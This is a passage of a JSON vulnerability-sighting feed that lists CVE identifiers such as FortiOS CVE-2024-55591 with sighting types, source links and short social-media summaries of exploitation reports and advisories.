"MISP/b0e84352-4a06-483b-821f-99a4d785da0c", "content": "", "creation_timestamp": "2026-08-05T00:15:03.289891Z"}, {"uuid": "48661105-3868-4695-8ae5-211050fdd9e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55947", "type": "published-proof-of-concept", "source": "https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg", "content": "", "creation_timestamp": "2024-12-23T02:35:41.000000Z"}, {"uuid": "ff215d09-23b7-4916-9fdf-4c5d58006e4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55890.yaml", "content": "", "creation_timestamp": "2026-08-08T00:02:15.102418Z"}, {"uuid": "682d5976-30f3-4de8-add5-14bd6b88b397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.acn.gov.it/portale/w/qilin-campagne-di-sfruttamento-sistematico-e-diffusione-del-ransomware-sul-territorio-nazionale", "content": "", "creation_timestamp": "2026-05-28T01:01:00.000000Z"}, {"uuid": "04f20e8d-b24e-4fe4-b4a1-bf26c750a344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55884", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mmy6nrxznq2g", "content": "CVE-2024-55884 - Critical OOB access in Mullvad VPN. Heap-based write via exception stack exhaustion. CVSS 9.0. Code execution possible. No patch available yet. Monitor for updates. #CVE #Mullvad #infosec\n\nhttps://www.valtersit.com/cve/CVE-2024-55884/", "creation_timestamp": "2026-05-29T09:06:04.474805Z"}, {"uuid": "c3c19b1b-10ab-4bef-9403-ce4626c8e3a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msdib3gsbs2d", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2024-55956: In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import an\u2026\nCVSS 9.8 \u00b7 EPSS 93.8% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2024-55956\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-08-05T12:03:10.426942Z"}, {"uuid": "172d80c6-8b03-4923-818b-864c748db6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ocelotlsec.bsky.social/post/3mnca6p67wj2l", "content": "\ud83d\udea8 Alerta de Seguridad: CVE-2024-55591\n\nFortinet FortiOS auth bypass 2025\n\nOcelotl Intelligence detecta y protege contra esta amenaza autom\u00e1ticamente.\n\n\ud83d\udd0d Escanea tu infraestructura gratis: https://ocelotlsec.mx\n\n#Ciberseguridad #LATAM #CVE #Seguridad", "creation_timestamp": "2026-06-02T09:00:08.187838Z"}, {"uuid": "3f281cc9-b472-4fab-8b73-1e0348df09f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://t.me/purp_sec/422", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 \u0438 CVE-2025-1974 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ingress-NGINX \u0434\u043b\u044f Kubernetes, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \n\n\ud83d\udd35 CVE-2024-55963 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Appsmith, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35 CVE-2025-22230 \u2014 \u0431\u0430\u0433, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Windows Tools Suite. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\ud83d\udd35 CVE-2024-29029 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Apache ActiveMQ.\n\n\ud83d\udd35 CVE-2025-0927 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 Ubuntu 22.04 \u0434\u043b\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\n\ud83d\udd35 CVE-2024-53678 \u0438 CVE-2024-53679 \u2014 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache VCL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c SQLi \u0438 XSS \u0430\u0442\u0430\u043a\u0438. \n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:21.072305Z"}, {"uuid": "ff45988c-4903-468a-ba3c-e07668cfe1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-07)", "content": "", "creation_timestamp": "2026-06-07T00:00:00.000000Z"}, {"uuid": "bb5f38ca-592b-4d21-8b39-8754d09c160f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ocelotlsec.bsky.social/post/3mntth5awef2r", "content": "\ud83d\udea8 Alerta de Seguridad: CVE-2024-55591\n\nFortinet FortiOS auth bypass 2025\n\nOcelotl Intelligence detecta y protege contra esta amenaza autom\u00e1ticamente.\n\n\ud83d\udd0d Escanea tu infraestructura gratis: https://ocelotlsec.mx\n\n#Ciberseguridad #LATAM #CVE #Seguridad", "creation_timestamp": "2026-06-09T09:00:07.790860Z"}, {"uuid": "79d64f1c-01b9-4b12-8fab-7d1965740308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw", "content": "", "creation_timestamp": "2024-12-12T16:12:49.000000Z"}, {"uuid": "40a40741-cf80-4735-b9b3-6c511c71ecda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55890.yaml", "content": "", "creation_timestamp": "2026-08-06T00:00:03.494497Z"}, {"uuid": "51162a72-edd4-4991-a5b3-994d5a1ae0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3msvqazqxyh2m", "content": "Gunra ransomware operators are exploiting two Fortinet vulnerabilities, CVE-2024-55591 and CVE-2025-24472, in campaigns tied to Conti and Golden Community. Reported tooling includes Mega and OpenSSH alongside Conti and Gunra ransomware payloads.", "creation_timestamp": "2026-08-12T18:14:14.818192Z"}, {"uuid": "cdf164ad-0d33-4cfb-9f4f-bb74ec81d084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnzslik5wu23", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2024-55591\n\n\u2022 CVE ID: CVE-2024-55591\n\u2022 CVSS Score: 9.8 (Critical)\n\u2022 Affected: Gentlemen Rans\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-11T18:00:33.633065Z"}, {"uuid": "77c20b4a-f4a8-4766-9381-852943db5694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/b0e84352-4a06-483b-821f-99a4d785da0c", "content": "", "creation_timestamp": "2026-08-12T21:15:02.508179Z"}, {"uuid": "42d40042-c444-4a57-9826-145f44af35a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mol7d2jbzs2y", "content": "~Cybergcca~\nFortiBleed campaign exposes credentials for Fortinet firewalls/VPNs, risking remote access.\n-\nIOCs: CVE-2024-55591, CVE-2025-59718, CVE-2025-59719\n-\n#FortiBleed #Fortinet #ThreatIntel", "creation_timestamp": "2026-06-18T16:03:44.729977Z"}, {"uuid": "0e57ee5b-a7c1-4160-9fca-9c4a79bc6897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-014-fortibleed-leak-thousands-compromised-credentials-impacting-fortinet-devices", "content": "", "creation_timestamp": "2026-06-18T06:52:14.000000Z"}, {"uuid": "c00f3a23-3d3c-4405-b090-2d38031ce3fa", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6fc199ff-1819-4a53-95a9-f6cae0ff5171", "content": "", "creation_timestamp": "2026-06-19T12:45:08.575545Z"}, {"uuid": "3d96b89c-2001-48e3-b7b5-977d6c749754", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/940c75a5-de7d-487e-a163-c86962418562", "content": "", "creation_timestamp": "2026-06-19T12:46:30.370667Z"}, {"uuid": "40a3f337-d242-46ad-b366-985abf90228b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0ff72733-f76c-490a-b240-0ab11b799fa6", "content": "", "creation_timestamp": "2026-06-19T12:46:29.738466Z"}, {"uuid": "6922283b-397b-41ee-91b8-533d8739712f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8367745e-2ec3-49a3-adfa-aa3674dbb986", "content": "", "creation_timestamp": "2026-06-19T12:46:29.183332Z"}, {"uuid": "eddc02cb-2dbe-4db6-b33d-cc8e2e4d40da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/b0e84352-4a06-483b-821f-99a4d785da0c", "content": "", "creation_timestamp": "2026-08-13T00:15:02.430693Z"}, {"uuid": "dfa0dd33-e515-426d-b1c9-f92f1f8fa32c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8998e4dc-a047-4cae-8002-e3593a3f2ede", "content": "", "creation_timestamp": "2026-06-23T14:03:00.072170Z"}, {"uuid": "a06d1d35-6b22-4012-984a-e329bf81cc7b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bc2c91ee-25f3-4b64-998b-bee02d4cd455", "content": "", "creation_timestamp": "2026-06-23T14:06:03.317850Z"}, {"uuid": "e8cbd614-6ce9-48ba-995d-0ae8388597fa", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2acba02b-5326-42fb-8e85-8a20cfa5bbd1", "content": "", "creation_timestamp": "2026-06-23T14:06:02.997010Z"}, {"uuid": "6760d0b4-8509-498e-8853-a4909e81f482", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b0b15ace-91c1-456a-8176-023cd701ea45", "content": "", "creation_timestamp": "2026-06-23T14:06:02.391752Z"}, {"uuid": "059f989b-eb27-4d72-9930-d602053af799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.acn.gov.it/portale/w/fortibleed-esposizione-di-credenziali-ssl-vpn-associate-a-dispositivi-fortinet-esposti-su-internet", "content": "", "creation_timestamp": "2026-06-25T16:45:10.832728Z"}, {"uuid": "ed1aa8a1-a726-439c-bf5e-3f45640af9c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://t.me/purp_sec/422", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 \u0438 CVE-2025-1974 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ingress-NGINX \u0434\u043b\u044f Kubernetes, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \n\n\ud83d\udd35 CVE-2024-55963 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Appsmith, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35 CVE-2025-22230 \u2014 \u0431\u0430\u0433, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Windows Tools Suite. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\ud83d\udd35 CVE-2024-29029 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Apache ActiveMQ.\n\n\ud83d\udd35 CVE-2025-0927 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 Ubuntu 22.04 \u0434\u043b\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\n\ud83d\udd35 CVE-2024-53678 \u0438 CVE-2024-53679 \u2014 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache VCL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c SQLi \u0438 XSS \u0430\u0442\u0430\u043a\u0438. \n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:42.683821Z"}, {"uuid": "624f3b11-2f73-4bf4-8211-32ca60736ced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-222a", "content": "", "creation_timestamp": "2026-08-13T08:47:13.260387Z"}, {"uuid": "f27aa0cc-f9df-4d3b-b33c-49ecfce28ade", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-55457", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/83d7e032-e1fb-4ead-9aae-cb4cd38fadd0", "content": "", "creation_timestamp": "2026-06-30T09:22:57.784840Z"}, {"uuid": "5b5799c6-f72d-4faa-9745-97cc22cffe98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msg2haccr42l", "content": "CVE-2024-5535 - openssl\nA patch has been applied to OpenSSL on Alpine Linux 3.15 to fix a security issue. This affects systems that use OpenSSL and are running Alpine Linux 3.15. Users should ensure\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openssl #RootAlpine315 #CVE #infosec", "creation_timestamp": "2026-08-06T12:34:03.831300Z"}, {"uuid": "2d4deecc-e75b-4703-8c9e-54a64340d44f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ctsd-gmbh.bsky.social/post/3mpivtzdqpi2d", "content": "Sechs KI-Browser wurden per Spielsimulation dazu gebracht, Passw\u00f6rter und API-Keys an Dritte weiterzugeben. CVE-2024-55591 und CVE-2025-32433 dokumentieren die Schwachstelle in BioShocking von LayerX.\n\nBet\u2026\n\nhttps://www.ctsd.de/insights/2026-06-ki-bioshocking-ki-browser-geben-zugangsdaten-preis.html", "creation_timestamp": "2026-06-30T11:34:09.204163Z"}, {"uuid": "e2e95ae7-35cd-4126-8bd1-21f35a1f7daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpwdekhreh2z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-55488 \u0432 Umbraco CMS: \u0443\u0433\u0440\u043e\u0437\u0430 XSS \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0A4EB08C-2CBF-47E2-9FBF-3F17EE081EFF", "creation_timestamp": "2026-07-05T19:40:39.150929Z"}, {"uuid": "fde3954e-0997-4ba3-abe3-43dbb3a8a56f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mpwdekgnbs2s", "content": "Umbraco CMS 14.3.1 \u5b58\u50a8\u578b XSS \u6f0f\u6d1e(CVE-2024-55488)\u6df1\u5ea6\u5206\u6790\u4e0e\u5b89\u5168\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/EF199ACB-36FD-4327-A9CA-567B6AD8F17A", "creation_timestamp": "2026-07-05T19:40:41.273987Z"}, {"uuid": "a51cf091-86f9-4fd5-bf09-6163504e6263", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mt4tzdy4rw2s", "content": "Any organization running an internet-facing Fortinet FortiOS or FortiProxy appliance with CVE-2024-55591 or CVE-2025-24472 unpatched is a live target for Gunra ransomware right now, per a joint CISA, FBI, NSA and Secret Service advisory.", "creation_timestamp": "2026-08-15T14:10:09.452253Z"}, {"uuid": "ded2bca0-bfed-42b4-9934-4ea078571fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55890.yaml", "content": "", "creation_timestamp": "2026-08-07T00:00:04.719757Z"}, {"uuid": "306bbff5-c99d-4d17-9b3d-e4aaeef75b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/d0c7913b-301c-41c3-8c35-5beca598eebc", "content": "", "creation_timestamp": "2026-07-08T09:15:02.333901Z"}, {"uuid": "89eb1b58-315b-4dd6-8f38-819aaf57e3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mq5qmnzr452i", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2024-55591: An\u00a0Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS version 7.0.0 th\u2026\nCVSS 9.8 \u00b7 EPSS 98.3% \u00b7 CISA KEV \u00b7 0day\nhttps://beta.vulnsea.com/cve/CVE-2024-55591\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-07-08T18:26:28.199844Z"}, {"uuid": "e855f1d1-472d-4a84-8691-dc6b69616d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/d0c7913b-301c-41c3-8c35-5beca598eebc", "content": "", "creation_timestamp": "2026-07-09T00:15:03.546550Z"}, {"uuid": "6eefb59c-f3bf-4d14-a186-31b9113d327c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 